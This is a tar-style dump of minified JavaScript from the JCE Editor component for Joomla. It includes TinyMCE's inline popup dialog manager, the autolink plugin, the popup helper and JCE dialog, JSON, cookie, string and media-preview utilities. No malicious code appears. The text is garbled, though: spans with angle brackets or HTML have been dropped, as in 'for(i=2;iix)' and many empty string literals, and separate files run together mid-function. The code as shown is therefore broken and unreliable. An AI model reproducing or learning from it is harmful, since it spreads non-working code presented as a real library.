ui-helper-clearfix'},['span',{id:id+'_title','class':'ui-dialog-title'},f.title||''],['a',{href:'#','class':'ui-dialog-titlebar-close ui-corner-all',role:'button'},['span',{'class':'ui-icon ui-icon-closethick'},'close']]],['div',{id:id+'_content','class':'ui-dialog-content ui-widget-content',style:'overflow:hidden;'}],['div',{'class':'ui-resizable-handle ui-resizable-n'}],['div',{'class':'ui-resizable-handle ui-resizable-s'}],['div',{'class':'ui-resizable-handle ui-resizable-w'}],['div',{'class':'ui-resizable-handle ui-resizable-e'}],['div',{'class':'ui-resizable-handle ui-resizable-nw'}],['div',{'class':'ui-resizable-handle ui-resizable-ne'}],['div',{'class':'ui-resizable-handle ui-resizable-sw'}],['div',{'class':'ui-resizable-handle ui-resizable-se ui-icon ui-icon-gripsmall-diagonal-se ui-icon-grip-diagonal-se'}]]);DOM.setStyles(id,{top:-10000,left:-10000});DOM.addClass(id,'loading');if(!f.type){dh+=DOM.get(id).clientHeight;f.min_height=f.height+dh;} DOM.setStyles(id,{top:f.top,left:f.left,width:f.width+dw,height:f.height+dh});u=f.url||f.file;if(u){if(tinymce.relaxedDomain) u+=(u.indexOf('?')==-1?'?':'&')+'mce_rdomain='+tinymce.relaxedDomain;u=tinymce._addVer(u);} if(!f.type){var iframe=DOM.add(id+'_content','iframe',{id:id+'_ifr',src:'javascript:""',frameBorder:0,style:'border:0;width:10px;height:10px'});DOM.setStyles(iframe,{width:f.width,height:f.height});DOM.setAttrib(iframe,'src',u);Event.add(iframe,'load',function(){DOM.removeClass(id,'loading');});}else{var pane=DOM.add(id,'div',{'class':'ui-dialog-buttonpane ui-widget-content ui-helper-clearfix'});var set=DOM.add(pane,'div',{'class':'ui-dialog-buttonset'});DOM.add(set,'button',{type:'button',id:id+'_ok','class':'ui-button ui-widget ui-state-default ui-corner-all ui-button-text-only ui-button-ok','role':'button','aria-disabled':false,'aria-labelledby':id+'_ok_text'},''+ed.getLang('ok','OK')+'');if(f.type=='confirm'){DOM.add(set,'button',{type:'button',id:id+'_cancel','class':'ui-button ui-widget ui-state-default ui-corner-all ui-button-text-only ui-button-cancel','role':'button','aria-disabled':false,'aria-labelledby':id+'_ok_text'},''+ed.getLang('cancel','Cancel')+'');} DOM.setHTML(id+'_content',''+f.content.replace('\n','
      '));Event.add(id,'keyup',function(evt){var VK_ESCAPE=27;if(evt.keyCode===VK_ESCAPE){f.button_func(false);return Event.cancel(evt);}});Event.add(id,'keydown',function(evt){var cancelButton,VK_TAB=9;if(evt.keyCode===VK_TAB){cancelButton=DOM.get(id+'_cancel');if(cancelButton&&cancelButton!==evt.target){cancelButton.focus();}else{DOM.get(id+'_ok').focus();} return Event.cancel(evt);}});} mdf=Event.add(id,'mousedown',function(e){var n=e.target,ac;t.focus(id);if(DOM.hasClass(n,'ui-dialog-title')){n=n.parentNode;} if(DOM.hasClass(n,'ui-dialog-titlebar')){ac='move';return t._startDrag(id,e,ac);} if(DOM.hasClass(n,'ui-resizable-handle')){ac=/ui-resizable-(ne|nw|se|sw|n|s|e|w)/.exec(n.className);if(ac) return t._startDrag(id,e,ac[1]);}});Event.add([id+'_left',id+'_right'],'focus',function(evt){var iframe=DOM.get(id+'_ifr');if(iframe){var body=iframe.contentWindow.document.body;var focusable=DOM.select(':input:enabled,*[tabindex=0]',body);focusable[0].focus();}else{DOM.get(id+'_ok').focus();}});clf=Event.add(id,'click',function(e){var n=e.target;t.focus(id);if(DOM.is(n,'.ui-button-cancel, .ui-button-cancel span, .ui-button-ok, .ui-button-ok span')){f.button_func(DOM.is(n,'.ui-button-ok, .ui-button-ok span'));}else if(DOM.is(n,'.ui-dialog-titlebar-close, .ui-dialog-titlebar-close span')){t.close(null,id);} return Event.cancel(e);});Event.add(DOM.select('.ui-dialog-titlebar-close',id),'mouseover',function(e){var n=e.target;if(n.nodeName!='A'){n=n.parentNode;} DOM.addClass(n,'ui-state-hover');});Event.add(DOM.select('.ui-dialog-titlebar-close',id),'mouseout',function(e){var n=e.target;if(n.nodeName!='A'){n=n.parentNode;} DOM.removeClass(n,'ui-state-hover');});Event.add(DOM.select('.ui-dialog-titlebar-close',id),'focus',function(e){var n=e.target;if(n.nodeName!='A'){n=n.parentNode;} DOM.addClass(n,'ui-state-focus');});Event.add(DOM.select('.ui-dialog-titlebar-close',id),'blur',function(e){var n=e.target;if(n.nodeName!='A'){n=n.parentNode;} DOM.removeClass(n,'ui-state-focus');});w=t.windows[id]={id:id,mousedown_func:mdf,click_func:clf,element:new Element(id,{blocker:1,container:ed.getContainer()}),iframeElement:new Element(id+'_ifr'),features:f,deltaWidth:dw,deltaHeight:dh};w.iframeElement.on('focus',function(){t.focus(id);});var overlay=DOM.get('ui-widget-overlay');if(!overlay&&f.modal){overlay=DOM.add(wrapper,'div',{id:'ui-widget-overlay','class':'ui-widget-overlay',style:{position:'fixed',left:0,top:0,width:'100%',height:'100%',zIndex:t.zIndex-1}});DOM.show(overlay);DOM.setAttrib(DOM.doc.body,'aria-hidden','true');} DOM.setAttrib(id,'aria-hidden','false');if(tinymce.isIE6||(tinymce.isIE&&!DOM.boxModel)&&overlay){DOM.setStyles(overlay,{position:'absolute',left:vp.x,top:vp.y,width:vp.w-2,height:vp.h-2});} t.focus(id);this.count++;return w;},focus:function(id){var t=this,w;if(w=t.windows[id]){w.zIndex=this.zIndex++;w.element.setStyle('zIndex',w.zIndex);w.element.update();DOM.removeClass(t.lastId,'ui-dialog-focus');DOM.addClass(id,'ui-dialog-focus');t.lastId=id;if(w.focussedElement){w.focussedElement.focus();}else if(DOM.get(id+'_ok')){DOM.get(w.id+'_ok').focus();}else if(DOM.get(w.id+'_ifr')){DOM.get(w.id+'_ifr').focus();}}},_addAll:function(te,ne){var i,n,t=this,dom=tinymce.DOM;if(is(ne,'string')) te.appendChild(dom.doc.createTextNode(ne));else if(ne.length){te=te.appendChild(dom.create(ne[0],ne[1]));for(i=2;iix){fw=w;ix=w.zIndex;}});return fw;},_findId:function(w){var t=this;if(typeof(w)=='string') return w;each(t.windows,function(wo){var ifr=DOM.get(wo.id+'_ifr');if(ifr&&w==ifr.contentWindow){w=wo.id;return false;}});return w;}});tinymce.PluginManager.add('inlinepopups',tinymce.plugins.InlinePopups);})();com_jce/editor/tiny_mce/plugins/autolink/index.html000066600000000054150771500630016553 0ustar00com_jce/editor/tiny_mce/plugins/autolink/editor_plugin.js000066600000006450150771500630017766 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | © Copyright, Moxiecode Systems AB | http://www.tinymce.com/license */ (function(){tinymce.create('tinymce.plugins.AutolinkPlugin',{init:function(ed,url){var t=this;if(!ed.getParam('autolink_url',true)&&!ed.getParam('autolink_email',true)){return;} ed.onKeyDown.addToTop(function(ed,e){if(e.keyCode==13) return t.handleEnter(ed);});if(tinyMCE.isIE) return;ed.onKeyPress.add(function(ed,e){if(e.which==41) return t.handleEclipse(ed);});ed.onKeyUp.add(function(ed,e){if(e.keyCode==32) return t.handleSpacebar(ed);});},handleEclipse:function(ed){this.parseCurrentLine(ed,-1,'(',true);},handleSpacebar:function(ed){this.parseCurrentLine(ed,0,'',true);},handleEnter:function(ed){this.parseCurrentLine(ed,-1,'',false);},parseCurrentLine:function(ed,end_offset,delimiter,goback){var r,end,start,endContainer,bookmark,text,matches,prev,len;r=ed.selection.getRng(true).cloneRange();if(r.startOffset<5){prev=r.endContainer.previousSibling;if(prev==null){if(r.endContainer.firstChild==null||r.endContainer.firstChild.nextSibling==null) return;prev=r.endContainer.firstChild.nextSibling;} len=prev.length;r.setStart(prev,len);r.setEnd(prev,len);if(r.endOffset<5) return;end=r.endOffset;endContainer=prev;}else{endContainer=r.endContainer;if(endContainer.nodeType!=3&&endContainer.firstChild){while(endContainer.nodeType!=3&&endContainer.firstChild) endContainer=endContainer.firstChild;if(endContainer.nodeType==3){r.setStart(endContainer,0);r.setEnd(endContainer,endContainer.nodeValue.length);}} if(r.endOffset==1) end=2;else end=r.endOffset-1-end_offset;} start=end;do {r.setStart(endContainer,end>=2?end-2:0);r.setEnd(endContainer,end>=1?end-1:0);end-=1;}while(r.toString()!=' '&&r.toString()!=''&&r.toString().charCodeAt(0)!=160&&(end-2)>=0&&r.toString()!=delimiter);if(r.toString()==delimiter||r.toString().charCodeAt(0)==160){r.setStart(endContainer,end);r.setEnd(endContainer,start);end+=1;}else if(r.startOffset==0){r.setStart(endContainer,0);r.setEnd(endContainer,start);} else{r.setStart(endContainer,end);r.setEnd(endContainer,start);} var text=r.toString();if(text.charAt(text.length-1)=='.'){r.setEnd(endContainer,start-1);} text=r.toString();matches=text.match(/^(https?:\/\/|ssh:\/\/|ftp:\/\/|file:\/|www\.|(?:mailto:)?[A-Z0-9._%+-]+@)(.+)$/i);if(matches){if(matches[1]=='www.'){matches[1]='http://www.';if(!ed.getParam('autolink_url',true)){return;}}else if(/@$/.test(matches[1])&&!/^mailto:/.test(matches[1])){matches[1]='mailto:'+matches[1];if(!ed.getParam('autolink_email',true)){return;}}else{if(!ed.getParam('autolink_url',true)){return;}} bookmark=ed.selection.getBookmark();ed.selection.setRng(r);tinyMCE.execCommand('createlink',false,matches[1]+matches[2]);ed.selection.moveToBookmark(bookmark);ed.nodeChanged();if(tinyMCE.isWebKit){ed.selection.collapse(false);var max=Math.min(endContainer.length,start+1);r.setStart(endContainer,max);r.setEnd(endContainer,max);ed.selection.setRng(r);}}},getInfo:function(){return{longname:'Autolink',author:'Moxiecode Systems AB',authorurl:'http://tinymce.moxiecode.com',infourl:'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autolink',version:tinymce.majorVersion+"."+tinymce.minorVersion};}});tinymce.PluginManager.add('autolink',tinymce.plugins.AutolinkPlugin);})();com_jce/editor/tiny_mce/tiny_mce_popup.js000066600000011454150771500630014645 0ustar00 // Uncomment and change this document.domain value if you are loading the script cross subdomains // document.domain = 'moxiecode.com'; var tinymce=null,tinyMCEPopup,tinyMCE;tinyMCEPopup={init:function(){var b=this,a,c;a=b.getWin();tinymce=a.tinymce;tinyMCE=a.tinyMCE;b.editor=tinymce.EditorManager.activeEditor;b.params=b.editor.windowManager.params;b.features=b.editor.windowManager.features;b.dom=b.editor.windowManager.createInstance("tinymce.dom.DOMUtils",document,{ownEvents:true,proxy:tinyMCEPopup._eventProxy});b.dom.bind(window,"ready",b._onDOMLoaded,b);if(b.features.popup_css!==false){b.dom.loadCSS(b.features.popup_css||b.editor.settings.popup_css)}b.listeners=[];b.onInit={add:function(e,d){b.listeners.push({func:e,scope:d})}};b.isWindow=!b.getWindowArg("mce_inline");b.id=b.getWindowArg("mce_window_id");b.editor.windowManager.onOpen.dispatch(b.editor.windowManager,window)},getWin:function(){return(!window.frameElement&&window.dialogArguments)||opener||parent||top},getWindowArg:function(c,b){var a=this.params[c];return tinymce.is(a)?a:b},getParam:function(b,a){return this.editor.getParam(b,a)},getLang:function(b,a){return this.editor.getLang(b,a)},execCommand:function(d,c,e,b){b=b||{};b.skip_focus=1;this.restoreSelection();return this.editor.execCommand(d,c,e,b)},resizeToInnerSize:function(){var a=this;setTimeout(function(){var b=a.dom.getViewPort(window);a.editor.windowManager.resizeBy(a.getWindowArg("mce_width")-b.w,a.getWindowArg("mce_height")-b.h,a.id||window)},10)},executeOnLoad:function(s){this.onInit.add(function(){eval(s)})},storeSelection:function(){this.editor.windowManager.bookmark=tinyMCEPopup.editor.selection.getBookmark(1)},restoreSelection:function(){var a=tinyMCEPopup;if(!a.isWindow&&tinymce.isIE){a.editor.selection.moveToBookmark(a.editor.windowManager.bookmark)}},requireLangPack:function(){var b=this,a=b.getWindowArg("plugin_url")||b.getWindowArg("theme_url");if(a&&b.editor.settings.language&&b.features.translate_i18n!==false&&b.editor.settings.language_load!==false){a+="/langs/"+b.editor.settings.language+"_dlg.js";if(!tinymce.ScriptLoader.isDone(a)){document.write('');tinymce.ScriptLoader.markDone(u);}}}},help:function(){if(!standalone){var ed=tinyMCEPopup.editor;ed.windowManager.open({url:tinyMCEPopup.getParam('site_url')+'index.php?option=com_jce&view=help&tmpl=component&lang='+ed.settings.language+'§ion=editor&category='+this.getName(),width:768,height:560,resizable:1,inline:1,close_previous:0});}else{this.options.help.call(this,this.getName());}},setDimensions:function(wo,ho,prefix){prefix=prefix||'';var w=$('#'+prefix+wo).val();var h=$('#'+prefix+ho).val();if(!w||!h) return;var th=$('#'+prefix+'tmp_'+ho).val();var tw=$('#'+prefix+'tmp_'+wo).val();if(th&&tw){if($('#'+prefix+'constrain').is(':checked')){var temp=(w/$('#'+prefix+'tmp_'+wo).val())*$('#'+prefix+'tmp_'+ho).val();h=temp.toFixed(0);$('#'+prefix+ho).val(h);}} $('#'+prefix+'tmp_'+ho).val(h);$('#'+prefix+'tmp_'+wo).val(w);},setDefaults:function(s){var n,v;for(n in s){v=s[n];if(v=='default'){v='';} if($('#'+n).is(':checkbox')){$('#'+n).prop('checked',parseFloat(v));}else{$('#'+n).val(v);}}},setClasses:function(v,n){n=n||'classes';var $tmp=$('').addClass($('#'+n).val()).addClass(v);$('#'+n).val($tmp.attr('class'));},createColourPickers:function(){var self=this,ed=tinyMCEPopup.editor,doc=ed.getDoc();$('input.color, input.colour').each(function(){var id=$(this).attr('id');var ev=$(this).get(0).onchange;var $picker=$('').insertAfter(this).toggleClass('disabled',$(this).is(':disabled')).attr('aria-disabled',function(){return $(this).hasClass('disabled');});$(this).bind('pick',function(){$(this).next('span.pickcolor_icon').css('background-color',$(this).val());});$(this).get(0).onchange=function(){$(this).trigger('pick');if($.isFunction(ev)){ev.call(this);}};var stylesheets=[];if(doc.styleSheets.length){$.each(doc.styleSheets,function(i,s){if(s.href&&s.href.indexOf('tiny_mce')==-1){stylesheets.push(s);}});} var settings=$.extend(ColorPicker.settings,{widget:$picker,labels:{picker_tab:'Picker',title:'Color Picker',palette_tab:'Palette',palette:'Web Colors',named_tab:'Named',named:'Named Colors',template_tab:'Template',template:'Template Colors',color:'Color',apply:'Apply',name:'Name'},stylesheets:stylesheets,custom_colors:ed.getParam('colorpicker_custom_colors','')});$(this).colorpicker(settings);});},createBrowsers:function(){var self=this;$('input.browser').each(function(){var input=this,type=$(this).hasClass('image')?'image':'file';var ev=$(this).get(0).onchange;$('').click(function(){return TinyMCE_Utils.openBrowser(this,$(input).attr('id'),type,'file_browser_callback');}).insertAfter(this);$(this).get(0).onchange=function(){if($.isFunction(ev)){ev.call(this);}};});},getLanguage:function(){if(!this.language){var s=$('body').attr('lang')||'en';if(s.length>2){s=s.substr(0,2);} this.language=s;} return this.language;},sizeToFit:function(o,c){var x=c.width;var y=c.height;var w=o.width;var h=o.height;var ratio=x/w;if(w/h>ratio){h=h*(x/w);w=x;if(h>y){w=w*(y/h);h=y;}}else{w=w*(y/h);h=y;if(w>x){h=h*(x/w);w=x;}} return{width:Math.round(w),height:Math.round(h)};},addI18n:function(p,o){var i18n=this.i18n;if($.type(p)=='string'){$.each(o,function(k,o){i18n[p+'.'+k]=o;});}else{$.each(p,function(lc,o){$.each(o,function(g,o){$.each(o,function(k,o){if(g==='common') i18n[lc+'.'+k]=o;else i18n[lc+'.'+g+'.'+k]=o;});});});}},translate:function(s,ds){if(!standalone){return tinyMCEPopup.getLang('dlg.'+s,ds);} if(!$.isPlainObject(this.i18n)) this.i18n={};return this.i18n[this.getLanguage()+'.dlg.'+s]||ds;}};$.Cookie={get:function(n,s){var c=document.cookie,e,p=n+"=",b,v;if(!c){return s;} b=c.indexOf("; "+p);if(b==-1){b=c.indexOf(p);if(b!=0){return s;}}else{b+=2;} e=c.indexOf(";",b);if(e==-1){e=c.length;} v=unescape(c.substring(b+p.length,e));if(typeof v=='undefined'){return s;} return v;},set:function(n,v,e,p,d,s){document.cookie=n+"="+escape(v)+ ((e)?"; expires="+e.toGMTString():"")+ ((p)?"; path="+escape(p):"")+ ((d)?"; domain="+d:"")+ ((s)?"; secure":"");}};$.JSON={queue:function(o){var _old=o.complete;o.complete=function(){if(_old) _old.apply(this,arguments);};$([$.JSON.queue]).queue("ajax",function(){window.setTimeout(function(){$.ajax(o);},500);});$.dequeue($.JSON.queue,"ajax");},request:function(func,data,callback,scope){var json={'fn':func};callback=callback||$.noop;var args={'format':'raw'};var fields=$(':input','form').serializeArray();$.each(fields,function(i,field){args[field.name]=field.value;});if($.type(data)==='string'||$.type(data)==='array'){$.extend(json,{'args':$.type(data)==='string'?$.String.encodeURI(data):$.map(data,function(s){if(s&&$.type(s)==='string'){return $.String.encodeURI(s);} return s;})});}else{if($.type(data)==='object'&&data.json){$.extend(json,{'args':data.json});delete data.json;} $.extend(args,data);} var url=document.location.href;url=url.replace(/&wf([a-z0-9]+)=1/,'');function showError(e){var txt=$.type(e)==='array'?e.join('\n'):e;txt=txt.replace(/]+?)>/,'');$.Dialog.alert(txt);} function isJSON(s){return/^[\],:{}\s]*$/.test(s.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,'@').replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,']').replace(/(?:^|:|,)(?:\s*\[)+/g,''));} $.JSON.queue({context:scope||this,type:'POST',url:url,data:'json='+$.JSON.serialize(json)+'&'+$.param(args),dataType:'text',success:function(o){var r;if(o){if($.type(o)==='string'&&isJSON(o)){var s=$.parseJSON(o);if(s){o=s;}} if($.isPlainObject(o)){if(o.error){showError(o.text||o.error||'');} r=o.result||null;if(r&&r.error&&r.error.length){showError(r.error);}}else{showError(o);}}else{o={'error':''};} if($.isFunction(callback)){callback.call(scope||this,r);}else{return r;}},error:function(e,txt,status){$.Dialog.alert(status||('SERVER ERROR - '+txt.toUpperCase()));}});},serialize:function(o){return JSON.stringify(o);}},$.URL={toAbsolute:function(url){if(!standalone){return tinyMCEPopup.editor.documentBaseURI.toAbsolute(url);} if(/http(s)?:\/\//.test(url)){return url;} return $.Plugin.getURI(true)+url.substr(0,url.indexOf('/'));},toRelative:function(url){if(!standalone){return tinyMCEPopup.editor.documentBaseURI.toRelative(url);} if(/http(s)?:\/\//.test(url)){return url.substr(url.indexOf('/'));} return url;}},$.Dialog={counter:0,_uid:function(p){return(!p?'wf_':p)+(this.counter++);},dialog:function(title,data,options){var div=document.createElement('div');options=$.extend(options,{minWidth:options.minWidth||options.width||300,minHeight:options.minHeight||options.height||150,modal:(typeof options.modal==='undefined')?true:options.modal,open:function(){$(div).dialog('widget').next('div.ui-widget-overlay').css({width:'100%',height:'100%'});$('div.ui-dialog-buttonset button[icons]',$(div).dialog('widget')).each(function(){var icon=$(this).attr('icons');$(this).prepend('');}).addClass('ui-button-text-icon-primary').removeClass('ui-button-text-only');if($.isFunction(options.onOpen)){options.onOpen.call();}},close:function(){$(this).dialog('destroy').remove();}});$(div).attr({'title':title,id:options.id||'dialog'+this._uid()}).append(data).dialog(options);return div;},confirm:function(s,cb,options){var html='
      '+s+'
      ';options=$.extend({resizable:false,buttons:[{text:$.Plugin.translate('yes','Yes'),icons:{primary:'ui-icon-check'},click:function(){cb.call(this,true);$(this).dialog("close");}},{text:$.Plugin.translate('no','No'),icons:{primary:'ui-icon-close'},click:function(){cb.call(this,false);$(this).dialog("close");}}]},options);return $.Dialog.dialog($.Plugin.translate('confirm','Confirm'),html,options);},alert:function(s){var html='
      '+s+'
      ';var options={resizable:false,buttons:[{text:$.Plugin.translate('ok','OK'),click:function(){$(this).dialog("close");}}]};return $.Dialog.dialog($.Plugin.translate('alert','Alert'),html,options);},prompt:function(title,options){var html='

      ';var id=options.id||'dialog-prompt',name=options.name||'prompt',v=options.value||'';if(options.text){html+='';} if(options.multiline){html+='';}else{html+='';} html+='

      ';if(options.elements){html+=options.elements;} options=$.extend({resizable:false,width:320,buttons:[{text:$.Plugin.translate('ok','Ok'),icons:{primary:'ui-icon-check'},click:function(){if($.isFunction(options.confirm)){options.confirm.call(this,$('#'+id).val());}else{$(this).dialog("close");}}}],onOpen:function(){$('#'+options.id).focus();}},options);return $.Dialog.dialog(title,html,options);},upload:function(options){var div=document.createElement('div');$(div).attr('id','upload-body').append('
      '+'
      '+' '+' '+'
      '+'
      ');$(div).find('#upload-options').append(options.elements);options=$.extend({minWidth:460,minHeight:350,resizable:false,buttons:[{text:$.Plugin.translate('browse','Browse'),id:'upload-browse',icons:{primary:'ui-icon-search'}},{text:$.Plugin.translate('upload','Upload'),click:function(){if($.isFunction(options.upload)){options.upload.call();}},icons:{primary:'ui-icon-arrowthick-1-n'}},{text:$.Plugin.translate('close','Close'),click:function(){$(this).dialog("close");},icons:{primary:'ui-icon-close'}}]},options);return $.Dialog.dialog($.Plugin.translate('upload','Upload'),div,options);},iframe:function(name,url,options){var div=document.createElement('div');options=$.extend({width:$(window).width()-100,height:$(window).height()-50,onOpen:function(){var iframe=document.createElement('iframe');$(div).addClass('loading');$(iframe).attr({'src':url,'scrolling':'auto','frameborder':0}).css({width:'100%',height:'99%'}).load(function(){var win=this.contentWindow,d=win.document,b=d.body;var w=win.innerWidth||b.clientWidth;var h=win.innerHeight||b.clientHeight;$(this).css({width:w,height:h});if($.isFunction(options.onFrameLoad)){options.onFrameLoad.call(this);} $(div).removeClass('loading');});$(div).addClass('iframe-preview').append(iframe);$(div.parentNode).dialog("option","position",'center');}},options);var name=name||$.Plugin.translate('preview','Preview');return $.Dialog.dialog(name,div,options);},media:function(name,url,options){var self=this;options=options||{};var div=document.createElement('div');var ww=$(window).width(),wh=$(window).height();$.extend(options,{width:ww-Math.round(ww/100*10),height:wh-Math.round(wh/100*10),resizable:false,close:function(){$(div).empty();$(this).dialog('destroy').remove();},dialogClass:'ui-preview',onOpen:function(){var parent=div.parentNode;if(/\.(jpg|jpeg|gif|png)/i.test(url)){$(div).addClass('image-preview big-loader');var img=new Image(),loaded=false;var dw=$(parent).width(),dh=$(parent).height();img.onload=function(){if(loaded) return false;if($.support.backgroundSize){$('div.image-preview').removeClass('loader').addClass('background').css({'background-image':'url("'+img.src+'")'});if(img.width>dw||img.height>dh){$('div.image-preview').addClass('resize');}}else{if(img.width>dw||img.height>dh){var dim=$.Plugin.sizeToFit(img,{width:Math.round($(window).width())-160,height:Math.round($(window).height())-190});$('div.image-preview').removeClass('loader').append(''+$.Plugin.translate('preview','Preview')+'');$('div.image-preview').css('margin-top',($(parent).height()-dim.height)/2);}else{$('div.image-preview').removeClass('loader').addClass('background').css({'background-image':'url('+url+')'});}} $(parent).click(function(){$(div.parentNode).dialog('close');});$(parent).dialog("option","position",'center');loaded=true;$(div).removeClass('big-loader');};img.src=url+(/\?/.test(url)?'&':'?')+new Date().getTime();}else if(/\.pdf$/i.test(url)){$(div).addClass('media-preview big-loader').height($(parent).height()-20);if($.support.pdf){$(div).html('').removeClass('big-loader');}else{$(div).html('').removeClass('big-loader');}}else{$(div).addClass('media-preview big-loader').height($(parent).height()-20);var mediaTypes={"flash":{classid:"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000",type:"application/x-shockwave-flash",codebase:"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"},"shockwave":{classid:"clsid:166b1bca-3f9c-11cf-8075-444553540000",type:"application/x-director",codebase:"http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0"},"windowsmedia":{classid:"clsid:6bf52a52-394a-11d3-b153-00c04f79faa6",type:"application/x-mplayer2",codebase:"http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701"},"quicktime":{classid:"clsid:02bf25d5-8c17-4b23-bc80-d3488abddc6b",type:"video/quicktime",codebase:"http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0"},"divx":{classid:"clsid:67dabfbf-d0ab-41fa-9c46-cc0f21721616",type:"video/divx",codebase:"http://go.divx.com/plugin/DivXBrowserPlugin.cab"},"realmedia":{classid:"clsid:cfcdaa03-8be4-11cf-b84b-0020afbbccfa",type:"audio/x-pn-realaudio-plugin"},"java":{classid:"clsid:8ad9c840-044e-11d1-b3e9-00805f499d93",type:"application/x-java-applet",codebase:"http://java.sun.com/products/plugin/autodl/jinstall-1_5_0-windows-i586.cab#Version=1,5,0,0"},"silverlight":{classid:"clsid:dfeaf541-f3e1-4c24-acac-99c30715084a",type:"application/x-silverlight-2"},"video":{type:'video/mp4'},"audio":{type:'audio/mp3'}};var mimes={};(function(data){var items=data.split(/,/),i,y,ext;for(i=0;i';var support={video:{'mp4':['mp4','m4v'],'webm':['webm'],'ogg':['ogv','ogg']},audio:{'mp3':['mp3'],'ogg':['oga','ogg']}} var hasSupport=false;for(var n in support[type]){if(support[type][n].indexOf(ext)!=-1){hasSupport=$.support[type][n];} if(hasSupport===true){break;}} if(hasSupport){if(type=='video'){$(div).append('');}else{$(div).append('');}}else if(/^m(p3|p4|4v)$/i.test(ext)){url=$.URL.toAbsolute(url);$(div).html('');if(ext=='mp3'){$('object',div).addClass('audio');}}else{$(div).html(ns).removeClass('loader');} break;case'flv':url=$.URL.toAbsolute(url);$(div).append('');break;case'flash':$(div).append('');break;default:$(div).append('');break;} $(div).removeClass('big-loader');}}}});return $.Dialog.dialog($.Plugin.translate('preview','Preview')+' - '+name,div,options);}};$.String={basename:function(s){return s.replace(/^.*[\/\\]/g,'');},dirname:function(s){if(/[\\\/]+/.test(s)){return s.replace(/\\/g,'/').replace(/\/[^\/]*\/?$/,'');} return'';},filename:function(s){return this.stripExt(this.basename(s));},getExt:function(s){return s.substring(s.length,s.lastIndexOf('.')+1).toLowerCase();},stripExt:function(s){return s.replace(/\.[^.]+$/i,'');},pathinfo:function(s){var info={'basename':this.basename(s),'dirname':this.dirname(s),'extension':this.getExt(s),'filename':this.filename(s)};return info;},path:function(a,b){a=this.clean(a);b=this.clean(b);if(a.substring(a.length-1)!='/') a+='/';if(b.charAt(0)=='/') b=b.substring(1);return a+b;},clean:function(s){if(!/:\/\//.test(s)){return s.replace(/\/+/g,'/');} return s;},replaceDiacritic:function(s){var i,lookup;lookup=[/[\300-\306]/g,'A',/[\340-\346]/g,'a',/\307/g,'C',/\347/g,'c',/[\310-\313]/g,'E',/[\350-\353]/g,'e',/[\314-\317]/g,'I',/[\354-\357]/g,'i',/\321/g,'N',/\361/g,'n',/[\322-\330]/g,'O',/[\362-\370]/g,'o',/[\331-\334]/g,'U',/[\371-\374]/g,'u'];for(i=0;i"\'=\[\]\{\},;@\^\(\)£€$]/g,'');var r='';for(var i=0,ln=s.length;i':'>','&':'&'};return(''+s).replace(/[<>&\"\']/g,function(chr){return baseEntities[chr]||chr;});},decode:function(s){var reverseEntities={'<':'<','>':'>','&':'&','"':'"',''':"'"};return s.replace(/&(#)?([\w]+);/g,function(all,numeric,value){if(numeric) return String.fromCharCode(value);return reverseEntities[all];});},escape:function(s){return encodeURI(s);},unescape:function(s){return decodeURI(s);},encodeURI:function(s,preserve_urls){if(s&&s.indexOf('file://')===0){return s;} s=encodeURIComponent(decodeURIComponent(s)).replace(/%2F/g,'/');if(preserve_urls){s=s.replace(/%(21|2A|27|28|29|3B|3A|40|26|3D|2B|24|2C|3F|25|23|5B|5D)/g,function(a,b){return String.fromCharCode(parseInt(b,16));});} return s;},buildURI:function(s){if(/^\s*www\./.test(s)){s='http://'+s;} return s.replace(/ /g,'%20');},toHex:function(color){var re=new RegExp("rgb\\s*\\(\\s*([0-9]+).*,\\s*([0-9]+).*,\\s*([0-9]+).*\\)","gi");var rgb=color.replace(re,"$1,$2,$3").split(',');if(rgb.length==3){r=parseInt(rgb[0]).toString(16);g=parseInt(rgb[1]).toString(16);b=parseInt(rgb[2]).toString(16);r=r.length==1?0+r:r;g=g.length==1?0+g:g;b=b.length==1?0+b:b;return"#"+r+g+b;} return color;},toRGB:function(color){if(color.indexOf('#')!=-1){color=color.replace(new RegExp('[^0-9A-F]','gi'),'');r=parseInt(color.substring(0,2),16);g=parseInt(color.substring(2,4),16);b=parseInt(color.substring(4,6),16);return"rgb("+r+","+g+","+b+")";} return color;},ucfirst:function(s){return s.charAt(0).toUpperCase()+s.substring(1);},formatSize:function(s){if(s>1048576){return Math.round((s/1048576)*100)/100+" "+$.Plugin.translate('size_mb','MB');} if(s>1024){return Math.round((s/1024)*100)/100+" "+$.Plugin.translate('size_kb','KB');} return s+" "+$.Plugin.translate('size_bytes','Bytes');},formatDate:function(time,fmt){var date=new Date(time*1000);fmt=fmt||'%d/%m/%Y, %H:%M';function addZeros(value,len){var i;value=""+value;if(value.length
    ').appendTo(this.options.parent);$('#jce-tooltip').append('
    ');if($.support.leadingWhitespace===false){$('#jce-tooltip div.jce-tooltip-pointer').append('
    ');} $('span.ui-icon-close',$tips).click(function(){self._end();}).hide();if($.support.cssFloat){$tips.css('opacity',0);}} $tips.removeAttr('class').addClass('jce-tooltip').addClass(this.options.className);},_start:function(e){var self=this;this._createTips();var $tips=$('#jce-tooltip');$tips.data('source',this.element);if(this.options.content){var h=this.options.content;}else{var text=$(this.element).attr('title')||'',title='';if(/::/.test(text)){var parts=text.split('::');title=$.trim(parts[0]);text=$.trim(parts[1]);} $(this.element).data('title',$(this.element).attr('title')).attr('title','');$(this.element).attr('aria-describedby','jce-tooltip');var h='';if(title){h+='

    '+title+'

    ';} if(text){h+='

    '+text+'

